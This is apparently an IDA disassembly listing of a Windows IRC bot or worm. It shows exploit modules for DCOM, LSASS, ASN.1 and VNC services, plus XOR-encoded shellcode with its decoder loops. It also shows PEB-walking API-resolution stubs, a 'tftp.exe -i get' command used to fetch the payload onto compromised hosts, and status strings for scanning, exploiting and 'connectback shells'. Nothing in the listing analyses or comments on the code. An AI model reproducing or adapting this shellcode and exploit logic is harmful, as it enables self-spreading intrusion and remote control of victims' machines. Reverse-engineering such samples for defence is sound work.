aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset asc_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
					; "ллллллллллллллллллллллллллллллллллллллл"...
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; │		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


